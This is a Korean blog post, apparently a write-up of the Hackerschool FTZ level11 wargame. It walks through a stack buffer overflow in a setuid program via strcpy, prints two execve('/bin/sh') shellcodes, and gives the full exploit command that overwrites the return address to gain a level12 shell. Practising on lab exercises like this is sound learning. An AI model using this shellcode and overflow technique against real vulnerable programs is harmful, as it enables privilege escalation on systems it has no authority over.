티스토리 뷰

[Hackerschool] F.T.Z

해커스쿨 - level11

lHATAl 2017. 11. 6. 23:53

level10을 통해 얻은 비밀번호로 level11에 접속하여 힌트를 읽어보자.



여태 공격성 문제에서는 system 함수를 공략하는 문제가 나왔다면 이제부터는 system 함수가 없어도 공격을 하는 방법에 대해서 찾아야 한다.


해당 문제에서는 printf를 보고 printf 와 관련된 취약점에 대해서 검색해 보았고 포맷 스트링 어택이라는 공격 기법을 사용하는 것을 깨달았다.



attackme 프로그램에 대해서 분석해본 결과 


우선 esp의 사이즈가 0x108(264)이라는 것을 알 수 있고 변수 선언을 256사이즈로 했다는 것을 감안하면 8바이트는 dummy로 추측이 된다. 또한 sfp와 ret의 8바이트를 추가하면 256(buffer),8(dummy),4(SFP),4(RET) 구조가 된다.



여기서 리턴하는 부분에 쉘이 열리는 쉘코드를 버퍼오버플로우로 넣으면서 공격을 할 것이다.


"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"


라는 28 바이트 쉘코드를 응용하여 공격을 수행해보았다.




하지만 세그멘테이션 폴트가 발생하게 되었다.


현재 다른 공격법을 찾아야 할 것 같다.


11/10


공격방법에 대해서 정리가 잘 되지 않은 상태애서 공격시도를 하여 틀린 공격을 하고 말았다.


해당 문제는 크게 2가지 방법으로 공격을 수행할 수 있다.


첫번째는 버퍼 오버플로우, 두번째는 포맷 스트링을 이용한 공격이다.


버퍼 오버플로우의 경우에는 strcpy에서 문자의 제한을 두지않고 그대로 buffer 변수에 값을 복사하기 때문에 일어나는 버퍼 오버플로우로 공격을 하는 것이다.


포맷 스트링은 아직 공부가 부족하여 조금 더 공부를 해야할것 같다.


우선 버퍼 오버 플로우 공격을 살펴보자.


우리의 최종 목적은 쉘을 취득하는 것이다. 해당 프로그램에서 다행히 level12의 권한을 가지고 있으므로 쉘을 작동 시켜주면 되는 것인데 이때 공략해야 할 부분은 buffer에 값을 뒤집어 씌우면서 쉘을 동작시킬수 있는 shellcode를 심고 ret 이전까지 내용을 임의로 채운다음 ret에서 리턴할 주소를 shellcode가 시작하는 위치로 지정해주면 공격은 마무리가 된다.


gdb 에서 printf 함수에 bp를 설정하고 인자값으로 `python -c 'print "A"*256+"B"*8+"C"*4'`를 삽입하였다. 그리고 esp에 대해 출력해보았다.




0x41(65)는 A를 나타내고 256개의 A가 버퍼를 채운것을 확인할 수 있다. 그리고 B로 dummy에 대해서 확인을 하였고 C로 SFP에 대해서 확인을 하였다.


C, 즉 0x43434343이 끝나고 바로 다음부터 RET로 리턴하는 위치를 가리키고 있음을 알 수 있다. 


따라서 우리는 프로그램의 인자값에 대해서 임의의값+shellcode+리턴할 주소 를 적어줘야 버퍼 오버플로우가 일어나게 된다.


따라서 정확한 메모리 주소의 계산이 필요하고 몇바이트의 값들을 입력할 것인지가 매우 중요하다.


우선 인터넷에서 자주 사용되고 있는 25바이트 shellcode를 인용했다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


shellcode를 어떻게 생성하는지, 원리에 대해서는 추가적으로 공부를 하면서 포스트를 작성할 예정이다.



버퍼에 임의의 값과 쉘코드를 입력하면서 SFP의 값도 덮어버리도록 하게 된다면 SFP까지의 바이트 값은 268이고 shellcode는 25바이트이므로,


임의의 값 243바이트 + shellcode  + shellcode 의 시작주소 를 입력하여 버퍼오버 플로우를 일으키면 될 것으로 예상된다.


그렇다면 이제 필요한 것은 shellcode가 어디에서 부터 시작되는지 알기위해 정확한 주소가 필요해진다.


buffer의 시작주소는 0xbffff930, dummy의 시작주소는 0xbffffa30, SFP의 시작주소는 0xbffffa38이다. 


따라서 마지막에서 25바이트만큼 빼야하므로 shellcode의 시작 주소는 


0xbffffa1f가 되어야 한다.


주소를 입력할때는 little endian이므로 1바이트씩 거꾸로 입력해줘야 한다.


즉 해당 주소를 \x1f\xfa\xff\xbf로 변환해줘야 한다.


전부 정리하자면 해당 프로그램의 공격으로


./attackme `python -c 'print "A"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x1f\xfa\xff\xbf"'` 가 되어야 한다.


하지만 해당 방법도 실패했다. 원인을 찾아보니 strcpy에서 버퍼 오버플로우가 일어나도록 유도했어야 하는데 메모리 확인을 하기 위해 걸었던 bp는 printf 함수에서 멈추었기 때문이다. 따라서 bp를 프로그램이 시작하자마자 걸도록 한 다음 다시 메모리 주소 계산을 다시 실행하였다.



해당 계산으로 인해 buffer 주소의 시작점은 0xbffffb81이라는 것을 알 수 있었고 해당 주소로 리턴을 유도하였다.



잘 보이지는 않지만 다음 단계에 대한 권한이 있는 쉘을 취득하는데 성공하였다.


아직 남은 과제가 2가지가 존재하게 되었다.


1. 쉘코드를 단순히 가져다 쓰는 것이 아닌 이해를 하고 내가 직접 만들어보기.


2. 버퍼 오버플로우가 아니라 포맷스트링 공격으로 문제 해결하기.

'[Hackerschool] F.T.Z' 카테고리의 다른 글

해커스쿨 - level13  (0) 2017.11.15
해커스쿨 - level12  (0) 2017.11.15
해커스쿨 - level10  (0) 2017.11.06
해커스쿨 - level9  (0) 2017.11.05
해커스쿨 - level8  (1) 2017.10.31
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함